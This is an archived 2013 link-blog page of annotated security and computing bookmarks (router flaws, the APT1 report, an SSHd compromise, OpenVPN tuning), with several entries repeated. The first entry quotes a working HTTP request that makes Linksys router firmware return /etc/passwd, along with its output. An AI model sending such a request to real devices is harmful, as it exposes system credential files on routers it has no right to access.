Archive for the 'Computers' Category

Don’t Use Linksys Routers « Superevr

Sunday, April 14th, 2013

the firmware is so buggy/insecure, so getting passwd file is as easy as: POST /apply.cgi Host: 192.168.1.1 submit_button=Wireless_Basic&change_action=gozila_cgi≠xt_page=/etc/passwd ====> root:x:0:0::/:/bin/sh nobody:x:99:99:Nobody:/:/bin/nolog…

ELC: SpaceX lessons learned [LWN.net]

Sunday, March 24th, 2013

interesting details about software development process at SpaceX [they mainly develop embedded linux stuff]

ELC: SpaceX lessons learned [LWN.net]

Sunday, March 24th, 2013

interesting details about software development process at SpaceX [they mainly develop embedded linux stuff]

Folk Models of Home Computer Security [.pdf]

Wednesday, March 20th, 2013

paper that describes folk mental models on computer security: about "viruses" and "hackers". interesting read

Folk Models of Home Computer Security [.pdf]

Wednesday, March 20th, 2013

paper that describes folk mental models on computer security: about "viruses" and "hackers". interesting read

APT1 Exposing One of China’s Cyber Espionage Units [PDF]

Wednesday, February 20th, 2013

report from a computer security company that links Chinese hack group APT1 to China’s government [Army] ————— aPt1 is believed to be the 2nd Bureau of the People’s Liberation army (PLa) General staff Department’s (GsD) 3rd Department (总…

APT1 Exposing One of China’s Cyber Espionage Units [PDF]

Wednesday, February 20th, 2013

report from a computer security company that links Chinese hack group APT1 to China’s government [Army] ————— aPt1 is believed to be the 2nd Bureau of the People’s Liberation army (PLa) General staff Department’s (GsD) 3rd Department (总…

0day Linux/CentOS SSHd Spam Exploit — libkeyutils.so.1.9 | Security, Server Tweaking, IT Management Blog By SolidShellSecurity

Tuesday, February 19th, 2013

http://www.webhostingtalk.com/showthread.php?t=1235797 A lot of compromised linux servers reported on the net. Possibly, due to new 0-day vuln.

0day Linux/CentOS SSHd Spam Exploit — libkeyutils.so.1.9 | Security, Server Tweaking, IT Management Blog By SolidShellSecurity

Tuesday, February 19th, 2013

http://www.webhostingtalk.com/showthread.php?t=1235797 A lot of compromised linux servers reported on the net. Possibly, due to new 0-day vuln.

Gigabit_Networks_Linux – OpenVPN Community

Thursday, January 10th, 2013

Notes about OpenVPN performance testing. Results, in short: easy to saturate 100Mbit network on common hardware. Possible to do a near wire-line speed on 1Gbit network (needs recent version of openssl-1.0a, fresh intel CPU that does AES in hardware …